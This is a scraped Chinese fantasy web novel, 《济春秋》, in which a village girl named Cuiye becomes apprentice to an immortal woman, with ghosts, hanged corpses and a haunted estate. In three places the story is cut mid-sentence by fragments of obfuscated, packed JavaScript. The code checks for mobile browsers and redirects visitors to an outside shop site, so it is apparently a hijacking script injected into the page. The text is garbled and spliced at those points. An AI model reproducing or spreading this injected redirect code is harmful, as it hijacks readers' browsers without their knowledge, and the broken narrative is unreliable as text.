《济春秋》 1. 翠叶(1) 烈日当空,济王村村头蹲在树荫下乘凉的汉子们看见远处貌似有两个个人摇摇晃晃的向这边走来。 为首的大哥眯起眼一看,是个裹头巾的女人,背着草筐顶着毒辣的阳光,满脸汗水浸湿了头巾边缘。 汉子们都随着大哥纷纷站了起来,矮个伸头去看女人,心里一开始觉得奇怪,这又没饥荒又没战乱的,最近几年也没谁娶了外乡女人,怎么有个女人家顶着这大太阳跑这么远。 几人歪歪斜斜毫无形象,但是一看清女人的脸,这些打光棍的男人又起了别的心思:会不会是哪里被卖又跑出来的,或是哪个大家女人逃了出来。又撇到女人还牵着个几岁的小孩,更让他们心里痒痒。 大哥作为这群懒汉的头头,自然有什么都要第一个去试,小弟一定也是敬重他的,毕竟这里要讲理,长幼有序。大哥咧开嘴,往前走了一步,太阳照到他确实毒的很,他张嘴刚要喊住女人,女人直接绕过他向前走去,赶路似的步履匆匆。 做了这么多年大哥,村头的寡妇他摸过,村尾的姑娘也让羞辱过,最后她们家里人也只能忍气吞声,没办法把他们怎么样。而现在他们遇到的这个女人孤身一人也敢无视他们,这是这群鬣狗没法忍的事。 矮个蹦起来就冲女人奔去,作为大哥最忠心的狗腿子,无视他大哥就是羞辱他,他要做伸张正义的人。而他离女人还有一臂距离时,只觉得双腿跟灌了水银一样重的抬不起来,他急的后背冒出汗来,想喊人但是张嘴连一个音也发不出来。 等女人匆匆走进了林里,矮个才能发出声音。大哥照他头扇了一巴掌,瞪眼道:“没用的狗东西!” 矮个气急败坏,想说自己刚刚的状况,可话到了嘴边,又突然感到一阵阴冷,同伙们根本没意识到他的状态,只认为他关键时刻掉链子,又不知道胆藏哪里了,畏畏缩缩的连个女人都不敢拦。 矮个看着几人都不理他,也不去找无趣了,毕竟他腿上的异样感觉还没有消失,让他感到了一阵酥麻,还隐隐透着刺痛。恍惚之间他向女人奔走的方向看去,女人仍站在那里,不过没有牵着孩子,而是站在那里冲他笑,朝他招手。 女人模样比他见过的任何女人都好看,色从胆边生,他此刻又觉得双腿无比有力,一步步的走向她。眼看着离女人越来越近,他嘴角还没有咧开就觉脚下一空,径直掉入河中。 河水缓缓流过这一片土地,丝毫看不出有人在这平静之下剧烈的挣扎。并非是看不见他求助拍打的水花,而是水底的什么东西将他拖拽至最底,根本无法探出身体到水面上。 大哥一行人开始了闲逛去寻点开心,这时翠叶正蹲泉边洗着菜,一点点把菜叶里的泥抠出来。翠叶远远看见他们一群人走来,慌忙起来时摔了一跤,半个身子连带前胸一同跌入水中,呛了几口水,连菜篮子也被压的往下一沉。 大哥看见她笨手笨脚的模样开始嘲笑她,几个男人嘴都快咧到耳根了,让翠叶更害怕起来,她只好随着父亲说的那样抱着菜篮子随便找了条可以走的路跑到林中。大哥毫不犹豫的带着小弟们追了上去,因为这是他们的日常,林子的路虽然不是很熟,但总是向上的,最终绝对能在山腰逮到惊慌失措的某个女人。 有了这样的自信,一群人就像是闻见血腥味的鲨鱼,冲着翠叶跑的方向奔去。但是绕到第三圈时他们还没找到翠叶的身影,甚至连脚印都没有,大哥啐了一口,想起如果矮个在这绝对能逮到翠叶,因为就他最机灵。男人们只好闷闷不乐的下山,物色另一个目标。 翠叶跑的上气不接下气,菜篮子里的水几乎都空干了她才扭头看看,确认他们没有追上来后停下了脚步。 不过她也不知道跑到了哪里,因为这里已经是平地了,没有哪座山是有这样大的平地的。她害怕了,因为村子里前几年还闹过狼,现在突然来到了不认识的林子,任谁都害怕。 而这时翠叶又听到了隐隐约约的小孩哭声,她两腿打着哆嗦,浑身都开始抖,平时本就恐惧的鬼故事又一幕幕浮现在脑海里,她听着哭声,自己也哭了,竟然有比谁哭的更大声的趋势。 听到她的哭声,一个女人缓缓走来。翠叶没敢靠近,因为山鬼化成的女人也不少,她不知道对方是人还是鬼,更害怕了,更何况女人还牵着个正哇哇大哭的孩子。 女人面无表情的望着她,牵孩子的手青筋隐现,问翠叶:“你有吃的么?” 翠叶抽噎着往菜篮子里摸:“我有刚洗的菜……”她哆嗦着手拿出来,递给女人。女人把菜塞到小孩手里,招呼她去家里一起吃饭。 “一起去我家吃饭吧,刚好到了晚饭时间。” 翠叶这时看见天边快要落山的太阳只觉奇怪,明明是正午,她才上山多长时间,怎么一下几个时辰就过去了。 不过她还是迷迷糊糊的跟着女人走了,甚至还迷迷糊糊的想着山上什么时候有这么个女人住在这。 等到了那间看着有些破落的小房子,她才突然想到村子里一个习俗:凡是有生重病的人,来这里烧上三炷香,随便拔那么几颗草,回家熬了喝下去就好了。因为这里曾经住过一位仙人,山上都是仙草,而且仙姑许诺:只要不贪心,采山脚的小草就足够治病。 “您……你就是以前住在这里的仙……仙人吗?”翠叶声音里带着一丝兴奋:这可是她第一次见到仙人,别说她了,连活的最久的村长都只见过一次修行的小道长,其他人也只是听说有仙人,靠着想象和说闲话才让大家相信真的有仙人存在的。 女人扭头看向她,没有否认:“吃了饭等你家人来找再走吧,不然你一人回去太危险了。” 虽然屋外的墙上挂满了爬山虎,柱子上也有不少灰尘,但屋内却十分整洁,翠叶带着好奇打量着墙上挂的画,上面尽是些她看不懂的字。 “你多大了?”女人问她。 “我十三了。”翠叶赶忙回神。 “家里还有兄弟姊妹吗?” “有一个弟弟。”翠叶不知为什么莫名有些心虚,不敢看她。 “哦。”女人转头对她一直牵着的小孩说话:“去倒水。” 小孩点点头,在跑出门的瞬间又回来:“水桶太重了,我拎不动。” 翠叶此时忙说道:“我去吧,我能拎动的。” “你们一起去吧,我烧菜。”女人点点头,转身去了厨房。 小孩看起来很快适应了这里,走的路上也一蹦一跳的,翠叶抓住这个机会,问他一些一直很想知道的问题。 “那个是你母亲吗?” “是啊。”小孩眨眨眼,又补充一句“是我生母。” “你叫什么名字?” “陆秋,陆地的陆,秋天的秋。” “你们以前……”翠叶小心地选择用词,生怕问了不该问的,只好很委婉的询问:“你们以前住在哪里?” “住在家里啊。” “你家在哪?” “不知道。”陆秋摇头,摸着带着朵紫色小花的发绳:“我从来没出过门,怎么能知道家在哪里呢?” “没出过门?”翠叶倒吸一口凉气,心想仙人生活果然和他们不一样,再看看陆秋一副从来没受过苦的样子,心底默默添了一句:足不出户都能衣食无忧。 不得不说这样的一个地方,后院竟然这么大,二人走了一炷香的时间才到了井边,可惜的是井绳已经断了,翠叶探头向井里看看,着急起来:“井水那么深,没绳也够不到水啊。” 陆秋也探头看了一眼,然后用小手托住脸,眼珠一转,作出为难的模样皱起眉头道:“我可以把水弄上来,可是……”他飞快看了一眼翠叶,又低下头去:“娘不让别人知道……” 翠叶立刻心神领会,她拍着胸脯说:“我不看!”但陆秋还是盯着她,翠叶尴尬的挠挠头,小声嘀咕:“我真的很想知道嘛。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395919|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我有办法啊!”陆秋和她小声密谋:“你回去拜我娘为师,不就可以了?” 翠叶惊讶的张大了嘴:“这样能行吗?仙人哪有随便收徒弟的啊!” “怎么不行?我娘就是要收徒弟才来的。”陆秋反问,他眼珠一转,又说道:“不过,你可不能说谎,我娘能听到人的心声。” 翠叶一惊,连忙点点头,然后在嘴上比了个叉,表示知道了。 陆秋扬了扬下巴,食指一抬,就见井水凝成一束形成一道弧线进了水桶,仅是一会就把水桶灌满了。 翠叶惊奇的看着水流,几乎屏住了呼吸,直到水流停了才缓缓呼出一口气,随后带着欢喜的看向陆秋:“这个我也可以学吗?” 陆秋点点头:“可以啊,但是你要给我娘打下手的。” “徒弟给师父打下手,应该的!”翠叶头点的和横着的拨浪鼓似的,拎水桶的胳膊都有力了许多。 二人晃悠着回到堂屋时女人已经做好饭了,屋里亮堂堂的,蜡烛分明只有几支,却像白天一样舒服。 翠叶很会看脸色的吃着饭,觉得不该问的一句没提,一顿饭下来就连氛围都热了不少。吃完饭外面已经是伸手不见五指的黑,翠叶心里又打起鼓来,紧张的脸都烧了起来,腿也在控制不住的打颤。 “您……您缺徒弟吗?”翠叶好不容易能声音不打颤,问了这个问题后她简直要被自己蠢哭了,但事已至此,只能等女人的回答了。 女人眉眼带笑,像是一点也不惊讶,还是问了之前那个问题:“有兄弟姊妹吗?” “有!”翠叶这次回答的干脆利落:“家里还有一个弟弟,外面有个姐姐。” “姐姐叫什么?”女人笑眯眯的问。 “姐姐叫翠花。”翠叶觉得有戏,回答的更认真了。 “这个名字……和你是双胞胎吗?” “是的!” “她怎么就在外面了呢?” “她……”翠叶迟疑了一下,但还是回答了:“因为家里穷到揭不开锅了,所以就卖给地主当小老婆了。” “你干活怎么样?”女人不再进行这个话题,而是转到翠叶身上了。 “我很能干的!洗衣做饭,挑水砍柴样样都行!” “嗯……”女人想了想,又问:“认字吗?” 翠叶原本的信心一下没有了,整个人泄了气一样,垂着脑袋晃了两下:“不认字。” “那就要多学点了。”女人点点头,“你今晚在这里的客房睡吧,晚上回去太危险了,明早回了家,和你家人说一声。” 翠叶悬着的心放了下来,她激动地几乎蹦起来,一张脸涨得透红:“那……师父!” 女人点头,拍拍在一旁昏昏欲睡的陆秋的脑袋,陆秋立刻坐直身体,又立刻蹦起来,让翠叶跟他走。 翠叶房间与堂屋隔了两间房,房间也有些破,但能看得出来确实是最好的几间房之一了。陆秋把灯点上,蜡烛不知道是用什么做的,火焰非常明亮,连带着房中的寒意都被驱散了不少。 “被子应该在柜子里。”两人一起拉开柜门,看见被包得严严实实的一套被褥,把床铺好后又意外发现还有个枕头,而且布料摸着十分顺滑,捏起来也很软,不知是用什么填充的,很有弹性。 陆秋看着房间收拾的差不多了,哈欠连天摆摆手示意自己回去了。 在关上门后,翠叶看着简直是梦中的房间双手紧紧捂住嘴,低声欢呼起来,又走走停停,不敢相信似的摸摸正中的桌子,直到脚趾撞到了床腿才确信这不是梦。 最终躺到床上时,盖着松软又暖和的被子时,仿佛窗外的蝉鸣声都消失了,能让她度过一个清净的夜晚。 但是她来了,明早谁去挑水?翠叶突然觉得自己在这里睡大觉多少有些没良心,明天没人做饭怎么办,娘肯定又要骂她。 不过想归想,她还是睡着了。 2. 翠叶(2) 翠叶醒来呆呆地望着天花板,入目不是柴房的木头房梁让她一时有些懵,等到窗外传来小鸟的叽叽喳喳声才把她拉回了现实。 我要回家告诉他们我有神仙师父了。翠叶心里又激动起来,赶忙穿上衣服就往外跑,但在要迈出门槛的刹那又轻轻地落脚。神仙这个点会不会还没起?她心里嘀咕着,出门一抬头就看见陆秋已经在院子练剑了,而师父正在一旁品茶。 翠叶小跑过去,恭恭敬敬的一鞠躬:“师父!” 师父笑眯眯的站了起来:“平时是这个点醒吗?” 翠叶有些窘迫的回答:“是的。” “以后要起早一些。” “是!”翠叶又燃起了勇气:“师父,我回家告知家人,他们……” “我同你一起去。”师父回答道“免得有人不相信。” 翠叶更欣喜了,连忙点头答应了下来。 “陆秋,你在这里。”师父对还在练剑的陆秋下了任务:“还是老样子,练完去玩吧。” 陆秋动作依旧,嘴上答应着:“知道了,早去早回。” …… 翠叶兴冲冲地跑到村口,激动地要蹦起来,在她扭头看向师父的时候,师父比她先开口了:“你先回家,我四处看看。” “是!” 翠叶推开家里大门时,正烧锅的母亲抬头看见她,先是不敢置信,随后五官又狰狞了起来:“你死哪里去了!” “我遇到一位仙人,她要收我为徒。”翠叶此刻也不管那么多了,倒豆子似的想把前因后果都说出来,但刚张嘴就挨了一耳光,清脆的耳光声和火辣辣的感觉就像一盆冷水直接浇灭了她的欢欣。 父亲这时也出来了,他瞪眼道:“你一晚上没回来,是不是和那群男的混一起去了,你要是没了清白,以后谁敢要你!谁给你聘礼!” 翠叶不敢碰那半张脸,脸又麻又肿,让她也突然不敢相信自己所经历的一切了。她愣愣的站在那里,母亲看见她不动,更是气不打一处来,又朝她背上甩了几巴掌:“死丫头,眼里没有活,你不干活想累死你老子?” “我没有,我……”翠叶此时才大梦初醒般想躲开殴打,母亲的手落空了,她先是一愣,随后气的面色透红,见她不吃自己这一套,疯狂的扇自己耳光,大哭大喊:“我怎么生了这么个不孝顺的东西!是我嘴贱,不该说你!你气死我吧!” 父亲和翠叶赶紧上来拉住母亲,母亲还骂骂咧咧,要死要活的时候,一个打扮清冷的女人进来了。三人此时都不闹了,看向女人。 女人先是打量了四周环境,又看看地上散落的一地鸡毛,最后才把目光移到面前三人身上,缓缓开口道:“是贫道来的不巧?” 翠叶刚刚挨打都觉得没有那么委屈,而此刻眼泪几乎都要飚出来了,她对着女人往地上一跪,连磕三个头大喊:“师父!” 父母都怔住了,二人对视片刻,父亲站出来询问:“不知您是?” “济王山仙长罢了。”女人气定神闲看着翠叶母亲收放自如的表演。 “啊……”夫妻二人交换了个眼神,此刻也不敢再作妖,忙问:“您……真的要收小女为徒?” 女人轻轻点头以示肯定。 “那……”二人脸上又堆满了笑:“我家还有一子,您看小子如何?” 女人面上没有任何表情,翠叶跪在地上仰头看她,突然感到一阵压力,仿佛女人此刻真的是神,无喜无悲,明明是以众生平等的态度,但……看待他们总是像看待蝼蚁,冷眼旁观这众生戏剧。 夫妻二人知道没戏了,母亲又向翠叶扑来,不过这次只轻轻扶住翠叶,轻声细语道:“你不知道,昨天你没回来,我和你爹都急得不得了,生怕你出事。”她脸上布满慈爱的笑“饿了吗?娘去给你做吃的。” 翠叶摇摇头,爹也给女人商量:“您看,我们就这一个女儿,要去您那里,得让亲戚们知道哇,不然……多不好!” 女人颔首:“三日后让她到山脚下。” 二人急忙应下,脸上堆满了笑,像对宝贝似的扶翠叶进了屋。 女人只是用了个障眼法隐去身形,蹲在翠叶家的槐树上看着这场闹剧,没等多久,她蹲着的树干又是一沉。 “今天练剑怎么这么快?”她头也没转的问道。 “我练得这叫炉火纯青,!”陆秋不满的嘟囔着。 “少油嘴滑舌,”女人打断他的话“出来给你爹说了么?” “哎呀,他知道!”陆秋撇撇嘴,眼珠一转,悄悄对女人说:“有几个家伙……上山了。” “你爹能搞定。”女人虽然嘴上这么说,但动作却是丝毫不含糊,单手拎住陆秋就往回飞,到了山上还没落地就发现树上吊着几个人。母子二人面面相觑,一致决定当做没看见,神色自若迈进了门。 前院樱桃树下站了个男人,此时看见他们,便笑眯眯迎了上来。还没开口,女人就上前一指头摁到他额头上,嗔怪道:“你怎么把他们给吊起来了?” 男人不恼,把女人的手轻轻握住,还是笑眯眯的模样:“夫人不在家,这几人上门闹事,我怕惊扰夫人,就……” “你有没有想过把人吊起来更惊扰我?”女人黑着脸,又戳他胸口“这些人一会你打算怎么办?” “别生气嘛,叫丝丝想办法。”男人看向陆秋。陆秋板着脸叉腰瞪他:“陆夕月,你自己把他们吊起来的,干嘛又使唤我。” “没大没小的!”陆夕月伸手捏儿子的脸,向女人告状“秋络,你看他!他都直喊我名字!” 秋络不理他,由着这父子俩闹,自己只在一旁抱胸分享翠叶家里的事,说到翠叶本有个姐姐时,她一直挂在腰间的香囊突然剧烈抖动起来,被她一把按住,随后口朝下抖了抖,像是要把什么东西抖出来似的。 香囊确实抖出来东西了,不过也只是一瞬间,就见一个矮矮的小孩出现在了面前,但是她的肚子大得惊人,里面似乎还有什么东西在不停的动。 陆秋和陆夕月也不闹了,俩人摆出同样吊儿郎当的姿势看着这小孩,陆秋甚至还想凑近戳戳她的肚子,不过思索再三还是放弃了这个想法。 “如你所见,”秋络开口对她说道,“我已经给你妹妹足够多的自由了。” 女孩灰白的脸上没有一丝表情,她看起来就像枯败的树,连声音都是嘶哑的:“以后呢?” “看她自己呗。”陆秋噘嘴不屑道“等她给你收拾完尸骨再看她选择嘛。” 女孩不再说话,只是用一种恳求的眼神看向秋络。秋络也撑着下巴想了一会,最后从芥子空间掏出一块玉环,一手捧环,一手食指与中指并起点向女孩眉心,二指在空中画了个符后又猛一点玉环,女孩就变为一道白光闪进了环中。 “翠花。”女人唤了一声,随后玉环微微泛起亮光像是应答。 “丝丝,找个绳把这环拴上,到时候给翠叶当护身的。”秋络把玉环递给陆秋,陆秋接过后坐在前院的八叉凳上,从袖子里摸出一捆红线,熟练地编成了一股绳,又挑挑拣拣找了根带玉珠的流苏配在下面,最后端详着,皱起眉头问翠花:“她当了我娘的徒弟,每日干活,带这东西会不会太麻烦了?” 翠花在玉环中闪了两下,随后这一块手掌大的玉环缩为了戒指般大小。陆秋看着变小了的玉环和丝毫没有变的绳子,怒上心头:“你能变你早说啊!我还编了半天!” 翠花委屈的没说话,陆秋继续没好气的絮絮叨叨:“你变戒指这么大她也不能带啊,我给你编成手绳。” 手绳编到一半突然想起来不知道翠叶手腕多粗,又只好把纽扣结改掉,做成平结,这一人一鬼都不作声,只不过看起来人的怨气比鬼大,鬼一动不敢动。 “你打算怎么办啊?”陆秋故作老成问翠花“她要是开始修仙,你作为鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他们家是真不讲究,”秋络撇嘴“死皮赖脸的都来问收不收他们孩子当徒弟,我只能摆了冷脸,他们才消停的。” “翠叶爹娘呢?”陆秋也来了兴致,追问她。 “又哭又显说自己舍不得,说白了还是想捞好处,借着要孝顺的名义吸血呗。”秋络揉揉太阳穴,皱起眉头“三句离不开儿子,我倒要看看我这徒弟能有什么表现。” “我也想看!”陆秋挺直了背“娘,那几个人怎么办?” “什么人?” “那几个吊在树上的,吊三天了。”陆秋用一种无辜的眼神看向秋络“我忘了把他们扔回去了。” 秋络倒吸一口凉气,思索起来:“既然如此……”母子二人悄悄商量了什么,陆秋就悄悄又绕到后院,找到了一心分草药的翠叶,在她旁边坐下,笑嘻嘻的问:“你为什么想修仙啊?” 翠叶一时也不知怎么回答,支支吾吾的:“就是……不知道修仙是什么样子的,但是感觉可以让我能过的更好一点。” “修仙怎么能过得更好啊?”陆秋故意装傻。 “不是说仙人都不用吃饭吗,衣服不会脏,还可以用法术,而且往那里一站就漂亮。”翠叶这样说着,激动起来。陆秋露出不认可的表情反驳她:“我娘那么厉害,不也要吃饭吗?” 翠叶这时有些傻眼,连手里的活也停下了。 “而且等你修了仙,你眼中就不只有凡人了。”陆秋颔首又道“如果仅凭这些想法去修仙,是走不长久的。” 翠叶这才认真思考了,她想要的到底是什么,但碍于她的眼界,实在是想不出更多了。陆秋摇摇头,帮忙一起拣起了草药,又过了大概三炷香的时间,他才说话:“先别拣了,你跟我去拿书吧。” 翠叶忙点头,两人晃悠到了书房,里面放了十几个书柜,上面的书挤得几乎放不下,还有几本都横过来放在了其他书上。翠叶看着陆秋挑了几本书给她,又嘱咐道:“山下有学堂,你以后上午先学字,等到下午再学草药。” “学堂?”翠叶惊讶地说道“学堂要收钱的,没钱不能去啊。” “哎呀,这又怎么样,”陆秋摆摆手,“你成神仙的徒弟了,不仅是你家里人知道吧?” “这……”翠叶抿唇承认了“这几天好多人都去我家呢,以前都没见过这么多人。” 3. 翠叶(3) “那不就是了?”陆秋笑了“神仙的徒弟向你提要求,你能不答应吗?” “不能。”翠叶果断开口。 “对啊,那就明天去学堂吧。”陆秋让她先回去休息,收拾要用的东西,二人跑了好几间房才把东西找齐了,又把拣好的草药收进框里,该晒的放到筐子里,一部分封到罐子里,都忙完才去厨房找到剩下的锅巴填肚子。 终于在天黑前把这些都做完了,翠叶才想起来问:“师父在哪里?” “她去采草药了。”陆秋随口一答。 “哦哦。”翠叶便不再问,而是洗漱后飞快回了自己的房间,迫不及待的试穿新衣服。衣服主体是明绿色的,而袖口与衣摆则用了青白色锁边,摸着十分顺滑,穿上后仿佛连这些天的烦恼都消散了不少。她将脸深深埋在这堆衣服里,并没有注意到手绳上小玉环突然亮了几下,随后又安安静静仿佛就是一个普通的饰品。 她躺在床上,尽量让自己不去想那些糟心事,毕竟现在什么都是新的了。 但是第二日她和陆秋刚走出大门就看见树上吊着那么多人时,突然觉得这可太新了,以前哪里见过这阵仗。人在极度恐惧的时候会尖叫是真的,但也有人会吓到发不出声音。陆秋没听见声音,只好用余光观察翠叶的反应,发现她没发出动静而且没晕倒,心中的肯定不免更上一层。 这个师妹不错,以前那么多人都吱哇乱叫,她一声不吭。陆秋抽出佩剑挡在前方做出防御姿势,虽然知道这些人都死掉了,没有威胁,但还是要装一装的。 翠叶当然不知道陆秋的心理活动,终于在几个深呼吸后用自以为冷静的声音说道:“这些人……为什么会吊在这里?” “不知道,”陆秋板着脸回答“先放下来吧,这样吊着也不是办法。” 于是陆秋轻功蹬树,飞身砍断那些绳子,翠叶在下面试图把尸体摆好,但是第三个尸体都掉了,翠叶连第一个都不敢碰一下,陆秋扭头看向她:“怎么了?” 翠叶这才哭丧个脸无助喊道:“我不敢碰……呜……” “那以后帮师父处理妖魔呢?”陆秋皱眉问“他们和人都一样,你怎么办?” 于是她强忍着恐惧带来的反胃感,捏着尸体肩上的多出来的衣服,将他们摆成一条条的,不过效率太低,还不如陆秋一剑一个挑正的快。 这是夏天,虽然在山上会凉快许多,但基本的热度还是有的,比如这几个不知道死了几天的,都已经臭了,如果这时候扒开嘴,还能看见断掉的舌头上蛆虫在蠕动。不知道翠叶看见了没有,但不管怎么说,就算是修仙者看见这一幕多少也是有些不适。 所以她现在还没崩溃已经很了不起了。陆秋面无表情的想着。 “要给师父说吗?”翠叶早就坐到了地上,腿软的根本站不起来。 “肯定说啊!”陆秋摸着下巴问道:“你觉得这些人为什么会在这里?” “我不知道……” “会不会是有什么妖物故意挑衅?”他给出合理猜测“知道我娘来了这里,所以故意下马威!” 翠叶的思绪果然也被带跑了,她也着急起来:“那怎么办?谁来下的马威?师父会不会有危险?” 陆秋面色沉重:“不知道,但我们今天要去学堂的。” “那人要是找到我们怎么办?”翠叶急忙问他。 “现在一个村子都知道你是神仙的徒弟,怕什么。” “那个人会不会还对村子里的人下手?” “怎么可能呢?他要是有那个能力,不得提前就屠村了?”陆秋不在乎的摆手“我们先走吧,我娘采药回来就知道了。” 翠叶最终还是被劝去了学堂,竟然真的什么都不用管,里面已经有了自己的位置和书籍。不过陆秋说师父已经回去了,自己要回去复述他们早上所见,等下午下了学让翠叶自己回去,临走前还故意摆出仙童的架子让那教书的先生多多关照翠叶,看着那先生恭恭敬敬的模样,陆秋实则都要笑出声了,为了放肆的笑一笑,他飞快爬上山,边爬边笑,笑到肺部都在隐隐作痛才停下。于是当他一抬眼,发现秋络靠在门框上,眉眼带笑看着他。 “怎么样?”秋络把院子的八叉凳拉到门口,坐在那里翘着二郎腿,不过这次她拿了一把瓜子,看上去就要唠很久。 陆秋跑过去坐在门槛上,把翠叶的表现说了一遍,末了还评价一句“有进步空间”。 “你爹也真是的,还割人家舌头。”秋络叹了口气,就差把“愁”这个字写在脸上了。 “他们吵吵嚷嚷的,”陆夕月不知道什么时候过来的,也靠着门框委屈起来“而且我都好声好气给他们说了,我们只是在这里住下。”陆秋这几天都没见过陆夕月,自然不知道那天到底发生了什么,便缠着他要他细说。 那日他们送翠叶下山不久,这群人就找到了这里,看见大门没关,里面还摆了不少一眼看上去就值钱的东西。正当这群人探头探脑时,发现只有一个看上去清秀的书生在里面,难免起了歹心。 陆夕月在里面早就发现这群人鬼鬼祟祟的,但本着井水不犯河水的想法还是决定无视他们。但那群人胆子大,看他不理他们,觉得这人是个软柿子,可以捏,为首的大哥就大摇大摆走了进去,一路进了堂屋,还连摸带拿的。陆夕月终于抬头看向他们,对他们轻轻说道:“请把东西放下,现在还可以走。” 那群人窃窃私语后发出了爆笑,大哥上前想拍陆夕月肩膀,但是被躲开了,但他并不在意的大笑:“我们在底下的村子可是很有名的,你,交点保护费,以后大哥罩着你!” 陆夕月也笑,同时从袖中抽出了把剪刀,在谁都没看清的情况下把那位大哥的舌头拽出来剪掉了。于是在众人安静如鸡几秒后,又发出了尖叫。 “我还把他们拿的东西都掏出来了呢。”陆夕月撇嘴“是他们先动的手!” “你哪里好好和他们说话了?”秋络无奈道:“人都死了,算了吧。” 陆秋看着他们的互动,识趣的往旁边挪去,尽量降低自己的存在感。在几句话后发现自己还接不上话只好赌气似的又跑到了后院练剑,结果一跑过去才发现那几个人一经太阳暴晒,臭的几乎要把他熏晕过去。于是从小娇生惯养的陆秋终于受不了了,把剑往地上一摔,气得直骂:“谁能受得了啊!环境那么差,人都这么没教养,呸!” 以前在家族生活,锦衣玉食的日子滋养着他,身边也都是经过筛选的仆人,父母偶尔也会带他去外历练,但更多时候是自己在院子里打坐,练剑。秋络和陆夕月经常出去斩妖除魔,他便在家族和其他兄弟姊妹一同学习,不过就算他不学,父母给予的天赋也足够让他超越同辈,无忧无虑了。 当然,除了不能出去玩,他曾经和父母抱怨了很多次,这次终于把他带出来了,但和想象差别太大,这几天的脏乱已经够让他崩溃了,当他再向秋络说自己想回去时,秋络当时怎么说的呢? 她当时正在掐去草药上干枯的部分,闻言只是懒懒地抬了下眼,挑眉道:这不是你梦寐以求的自由吗?你抬头看见的终于不是方形的天空了。 翠叶一回来就看见呆坐在樱桃树下的陆秋,她总觉得陆秋思想很成熟,但心智却还保留了小孩子会有的幼稚。 “怎么了?”翠叶蹲在他旁边问他。 陆秋撇嘴,但一想到还要装出师兄的样子,又挺直了腰板,学陆夕月那样正色问道:“今日功课如何?” “学了很多!”翠叶忙答道:“虽然认的都是简单的字,但一些基本的已经会了。” 陆秋点点头,让她去药房找秋络干活,自己要去打坐了。翠叶点头小跑去了药房,又留陆秋一人在树下坐着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“徒弟。”秋络惜字如金,随后让翠叶按自己教的,把香点上,随后去到那几间闹鬼的屋子。 翠叶点了香后,只觉得自己变得轻飘飘的,思绪都蒙上了一层雾,但仿佛也有什么东西在空中飘荡着。 她努力眯眼想要看清那是什么东西,却被陆秋使劲抓了一下,让她瞬间清醒过来。 清醒带来了难忍的头痛,血液向头顶冲去,甚至连耳膜都鼓得嗡嗡作响。眼前烟雾迅速凝成了实体,她向下看去,发现陆秋正捏着她右手腕,从手腕处传来了丝丝凉意。见她无事,陆秋松开了手,让她跟着秋络走。 大概是闹鬼的缘故,宅子里格外冷清,与街上的吵闹声格格不入。翠叶往大门望了一眼,她总感觉大门像是一道结界,里外是两方天地。 几人到了柴房,翠叶明显看见了黑蓝色的雾气在底处飘荡,见秋络和陆秋丝毫不受影响往前走,她刚想喊住他们,陆秋便回头示意她不要声张,翠叶只好也跟在后面,尽量不碰到那些雾气。 常老爷并没有跟着进来,仅是他与小厮的窃窃私语中,就一连说了好几句晦气,仿佛这间屋子都是什么见不得人的地方。不过他不进来,不代表那雾气不会出去,秋络没有让她做什么,翠叶也只好眼睁睁的看着那团雾气缠上常老爷的小腿,像手一样攀了上去,即将到达胸口时,常老爷打了个冷颤,向阳光处退去,他觉得阳光确实给他消除了刚才突如其来的寒冷,实则是雾气在阳光下就悄无声息的消散了。 翠叶也和陆秋说起悄悄话来,她确定陆秋肯定也能看见这些,所以开门见山的问道:“那些黑里带蓝的雾气是什么?” “冤死的。”陆秋简明扼要。 “那这雾气缠着常老爷……会不会和他有关系?” “你猜?”陆秋眨眨眼,留下了个模棱两可的答案。 4. 翠叶(4) 本来翠叶想去看看宅子其他的地方有没有这些雾气,但秋络摇头制止了她,她也只好跟在后面听他们的谈话。 “这里曾经走水过吗?”秋络半眯着眼,看向一旁的烤饼的铁炉。 “这里是用火的地儿,不走水可太不正常了。”小厮语气自然回答。 “可能是被烧死的。”秋络正这么说着,那些雾气突然就躁动起来,又凝成几股像水一样的液体,在地上流淌,钻进铁炉。翠叶小心地观察秋络的反应,在来之前她就被要求过了:只用看师父是怎么做的,不要自作主张,她确实也在遵循命令,而且做得很好。 “这……之前走水过好多次,怎么知道到底怎么回事呢?”小厮着急起来,但明显能看出来他也并不怎么在意这些人的死活,一心只想着解决这件事。 “这些人的尸体呢?”陆秋问道。 “有的烧成灰了,有的送回家了!” “还有漏的。”秋络直接说了:“把炉子打开看看。” 这时又有几个烧锅的仆人过来,手忙脚乱的拆炉子,炉子缝隙处还夹杂着许多灰尘,拆开时尘土飞扬,几个人都不免被呛的咳嗽起来,等全都被拆成快时却发现最里面的死角处有一层烧焦的东西。秋络将那一块从铁皮上撕下来,在手里掂量了一下,面色沉重。 这时她突然抬头,看见了外面多了个正在和常老爷交谈的小孩,小孩看上去和陆秋差不多大,穿着不凡,她明知故问道:“那位是?” 小厮忙回答:“那位是少爷,以后是我们的老爷。” “嗯。”秋络点头“少爷有无婚配?” “这……”小厮迟疑了一下,“现在没啦。”他又挤出一个讨好的笑来,问道:“这鬼到底是何方人士啊?” “曾经在后厨因意外逝去的。”秋络简明扼要。 “这里死的还真不少,您不说具体点,咱怎么能知道呢!” 翠叶好奇的看着那些又恢复的雾气,她原本猜测既然这个小厮也是府中的人,那么应当会被这些东西缠上,但是雾气像没看见他似的,自顾自往别人身边飘散,攀附。她惊奇的看着,又和陆秋交头接耳:“那个鬼会不会和这人有关系啊?” “可能是?” “他们是什么关系啊,鬼为什么不会找上他?” 